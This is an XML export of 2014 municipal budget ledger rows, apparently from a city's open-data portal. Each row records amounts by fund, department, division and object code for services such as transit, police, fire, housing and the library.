<row _id="5585"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>404400.0</object><object_description>AFFORD HSING PROD PRGM DEVELOP</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-300000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-300000.0</total></row>
<row _id="5586"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>27.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>27.0</total></row>
<row _id="5587"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>96440.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>96440.0</total></row>
<row _id="5588"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>891309.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>891309.0</total></row>
<row _id="5589"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2832700.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2832700.0</total></row>
<row _id="5590"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>544111.0</object><object_description>PROMOTIONAL ITEMS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6406.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6406.0</total></row>
<row _id="5591"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>577066.0</object><object_description>DELIVERY CHARGES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>103.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>103.0</total></row>
<row _id="5592"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522114.0</object><object_description>UTIL-LIGHT/POWER-PARKING AUTH</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>98954.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>98954.0</total></row>
<row _id="5593"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>407320.0</object><object_description>MALL PARKING LEVY</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-605918.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-605918.0</total></row>
<row _id="5594"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>407410.0</object><object_description>CONSTRUCTION &amp; DEMOLITION</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-285000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-285000.0</total></row>
<row _id="5595"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>400790.0</object><object_description>OUTDOOR DINING-TRANSIT MALL AR</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-71939.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-71939.0</total></row>
<row _id="5596"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>124757.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>124757.0</total></row>
<row _id="5597"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>658998.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>658998.0</total></row>
<row _id="5598"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>208620.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>208620.0</total></row>
<row _id="5599"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>291768.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>291768.0</total></row>
<row _id="5600"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>428425.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>428425.0</total></row>
<row _id="5601"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>780659.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>780659.0</total></row>
<row _id="5602"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>38085.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>38085.0</total></row>
<row _id="5603"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>108113.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>108113.0</total></row>
<row _id="5604"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="5605"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>25955.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>25955.0</total></row>
<row _id="5606"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1797.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1797.0</total></row>
<row _id="5607"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>12776.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12776.0</total></row>
<row _id="5608"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>408.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>408.0</total></row>
<row _id="5609"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7432.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7432.0</total></row>
<row _id="5610"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>695.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>695.0</total></row>
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<row _id="5685"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6600.0</total></row>
<row _id="5686"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>622.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>622.0</total></row>
<row _id="5687"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>14812.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>14812.0</total></row>
<row _id="5688"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>831.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>831.0</total></row>
<row _id="5689"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2385.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2385.0</total></row>
<row _id="5690"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>9600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9600.0</total></row>
<row _id="5691"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1826.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1826.0</total></row>
<row _id="5692"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>600.0</total></row>
<row _id="5693"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>408.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>408.0</total></row>
<row _id="5694"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>492.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>492.0</total></row>
<row _id="5695"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>984.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>984.0</total></row>
<row _id="5696"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8742.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8742.0</total></row>
<row _id="5697"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>25770.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>25770.0</total></row>
<row _id="5698"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7207.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7207.0</total></row>
<row _id="5699"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2336.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2336.0</total></row>
<row _id="5700"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>31285.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>31285.0</total></row>
<row _id="5701"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>94929.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>94929.0</total></row>
<row _id="5702"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>964.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>964.0</total></row>
<row _id="5703"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>645780.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>645780.0</total></row>
<row _id="5704"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="5705"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>23704.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>23704.0</total></row>
